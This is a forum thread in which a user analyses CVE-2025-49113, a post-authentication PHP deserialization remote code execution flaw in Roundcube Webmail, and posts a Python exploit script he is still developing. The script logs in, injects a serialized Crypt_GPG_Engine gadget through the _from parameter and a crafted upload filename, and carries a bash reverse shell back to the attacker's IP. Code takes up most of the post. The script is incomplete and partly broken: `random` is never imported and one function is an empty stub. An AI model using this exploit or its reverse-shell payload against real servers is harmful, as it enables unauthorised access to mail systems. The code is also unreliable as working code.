Analysis of CVE-2025-49113 – Post-Auth RCE in Roundcube via PHP Object Deserializatio
by Krypt3d4ng3l - Friday August 1, 2025 at 02:36 PM
#1
Analysis of CVE-2025-49113 – Post-Auth RCE in Roundcube via PHP Object Deserialization

While working on the Hack The Box machine Outbound, I encountered the vulnerability CVE-2025-49113, which affects Roundcube Webmail 1.6.10. This vulnerability allows a post-authentication remote code execution by abusing PHP object deserialization through the _from parameter in the URL.

The vulnerable code is located in
program/actions/settings/upload.php

$from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);
$type = preg_replace('/(add|edit)-/', '', $from);
$type = str_replace('.', '-', $type);

if (!$err && !empty($attachment['status']) && empty($attachment['abort'])) {
    $id = $attachment['id'];
    unset($attachment['status'], $attachment['abort']);
    $rcmail->session->append($type . '.files', $id, $attachment);
}

The _from parameter is used to define a session key. The
append()
function eventually calls
reload()
under certain timing conditions, which leads to the critical function call:

session_decode($data);

This function deserializes session data using
unserialize()
internally. If an attacker can place a serialized PHP object in the session and trigger a reload, it will be deserialized without proper validation.

Exploitation depends on identifying or introducing a gadget chain. In the Outbound machine, after authenticating, it was possible to exploit this flow and achieve remote code execution.

I’m currently developing a Python script to automate this exploitation process. It is still in progress but aims to reproduce the vulnerability and execute commands via crafted session data.

This vulnerability demonstrates the risks of insecure session handling and highlights how post-authentication bugs can still lead to full system compromise.

Automating this vulnerability would allow initial access to any server running a vulnerable version of Roundcube, making it a significant security risk. For those eager to experiment, there are already several working PHP scripts available online. Below is my current Python script, which is still under development. I'm struggling to get the reverse shell to work correctly, and I need to analyze HTTP traffic and compare it with working scripts. If anyone is interested in the topic, I would appreciate any help.

# Exploit script for CVE-2025-49113 - by Krypt3d4ng3l

import requests
import sys
from urllib.parse import urlparse
import argparse
import re
import base64

parser = argparse.ArgumentParser(description='Exploit script for CVE-2025-49113 by Krypt3d4ng3l')
parser.add_argument('-H', '--host', dest='target_url', required=True, help='Target URL to exploit')
parser.add_argument('-u', '--username', dest='username', required=True, help='Username for authentication')
parser.add_argument('-p', '--password', dest='password', required=True, help='Password for authentication')
parser.add_argument('-ip', '--ip-addr', dest='IP', required=True, help='ip from the attacker machine to do the reverse shell')
parser.add_argument('-port', '--port', dest='port', required=True, help='port from the attacker machine to listen to')
args = parser.parse_args()

def validate_url(target_url):
    try:
        result = urlparse(target_url)
        if all([result.scheme, result.netloc]):
            return True
        else:
            print("[-] Invalid URL format.")
            return False
    except Exception as e:
        print(f"[!] Error validating URL: {e}")
        return False

def fetch_token(session, target_url):
    try:
        response = session.get(target_url)
        match = re.search(r'name="_token"\s+value="([^"]+)"', response.text)
        if match:
            return match.group(1)
        else:
            print("[-] _token not found.")
            return None
    except Exception as e:
        print(f"[!] Error fetching _token: {e}")
        return None

def authenticate(token, session, target_url, username, password):
    login_url = f"{target_url}/?_task=login"
    headers = {'Content-Type': 'application/x-www-form-urlencoded'}

    data = {
        '_token': token,
        '_task': 'login',
        '_action': 'login',
        '_timezone': 'UTC',
        'url': '',
        '_user': username,
        '_pass': password,
    }

    try:
        response = session.post(login_url, headers=headers, data=data, allow_redirects=True)
        if response.status_code in [200, 302]:
            print("[+] Authentication successful.")
            return True
        else:
            print(f"[-] Authentication failed. Status code: {response.status_code}")
            return False
    except Exception as e:
        print(f"[!] Error during authentication: {e}")
        return False

def send_payload(session, target_url, IP, port):

    rvshell = f"bash -c 'bash -i >& /dev/tcp/{IP}/{port} 0>&1'"
    length = len(rvshell)

    payload = f'O:16:"Crypt_GPG_Engine":3:{{s:8:"_process";b:0;s:8:"_gpgconf";s:{length}:"{rvshell}";s:8:"_homedir";s:0:"";}}'

    print(f"[+] Using payload: {payload}")

    params = {
        '_from': f"edit-{payload}",
        '_task': 'settings',
        '_framed': '1',
        '_remote': '1',
        '_id': '1',
        '_uploadid': '1',
        '_unlock': '1',
        '_action': 'upload'
    }

    malicious_filename = 'x|b:0;preferences_time|b:0;preferences|s:179:"a:3:{i:0;s:57:".png'

    try:
        with open('test.png', 'rb') as f:
            file_data = f.read()

        files = {
            '_file[]': (malicious_filename, file_data, 'image/png')
        }

        response = session.post(target_url, params=params, files=files)

        print(f"[+] Response Status Code: {response.status_code}")
        print(response.text)

        return response
    except Exception as e:
        print(f"[-] Error sending payload: {e}")
        return None

def process_serialized(serialized):
    pattern = re.compile(r'\bs:(\d+):"')
    parts = []
    last_index = 0
    current_index = 0
   
    while current_index < len(serialized):
        match = pattern.search(serialized, current_index)
        if not match:
            break
           
        start = match.start()
        str_start = match.end()
        length = int(match.group(1))
        str_end = str_start + length
       
        if serialized[str_end:str_end+2] != '";':
            current_index = str_start
            continue
           
        string = serialized[str_start:str_end]
        cleaned = ''.join(
            f"\\{ord(char):02x}"
            if not char.isprintable() or char in ['\\', '|', '.']
            else char
            for char in string
        )
       
        parts.append(serialized[last_index:start])
        parts.append(f'S:{length}:"{cleaned}";')
        last_index = str_end + 2
        current_index = last_index
   
    parts.append(serialized[last_index:])
    return ''.join(parts)


def calc_payload(command):

    cmd_str = f"{command};#"
    serialized = (
        'O:16:"Crypt_GPG_Engine":3:'
        '{s:8:"_process";b:0;'
        f's:8:"_gpgconf";s:{len(cmd_str)}:"{cmd_str}";'
        's:8:"_homedir";s:0:"";}'
    )
   
    processed = process_serialized(serialized) + 'i:0;b:0;'
    total_len = len(processed)
    append = len(str(12 + total_len)) - 2
   
   
    _from = '!";i:0;' + processed + '}";}}'
    _file = f'x|b:0;preferences_time|b:0;preferences|s:{78 + total_len + append}:\\"a:3:i:0;s:{56 + append}:\\".png'
   
    obfuscated_from = ''.join([c + chr(random.randint(48, 57)) for c in _from])
   
    return obfuscated_from, _file


def execute_payload():
    pass

def main():
    if not validate_url(args.target_url):
        print("[!] Exploit aborted due to invalid URL")
        sys.exit(1)

    session = requests.Session()
    token = fetch_token(session, args.target_url)

    if not token:
        print("[!] Could not retrieve CSRF token. Aborting.")
        sys.exit(1)

    if authenticate(token, session, args.target_url, args.username, args.password):
        send_payload(session, args.target_url, args.IP, args.port)
    else:
        print("[!] Exploit aborted due to failed login.")

if __name__ == '__main__':
    main()
Reply
#2
Wow, I'll check it out!
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  All reversing challenge - HTB - Flags @ 02/03/2025 fr34cker 6 926 08-05-2025, 01:51 AM
Last Post: hooneyman
  cyber apocalypse HTB ctf 2025 RedBlock 60 6,584 08-02-2025, 10:17 PM
Last Post: qazqaz
  DEFCON CTF 2025 Kr4ken 0 293 04-12-2025, 09:38 AM
Last Post: Kr4ken
  INFILTRATOR.HTB writeup, User+Root flags (FULLY INTENDED PATH 2025) user0o1 1 567 04-04-2025, 02:39 AM
Last Post: OsuLearner
  Cyber Apocalypse CTF 2025: Tales from Eldoria (Official Writeups) Phoka 0 342 03-27-2025, 12:47 PM
Last Post: Phoka

Forum Jump:


 Users browsing this thread: 1 Guest(s)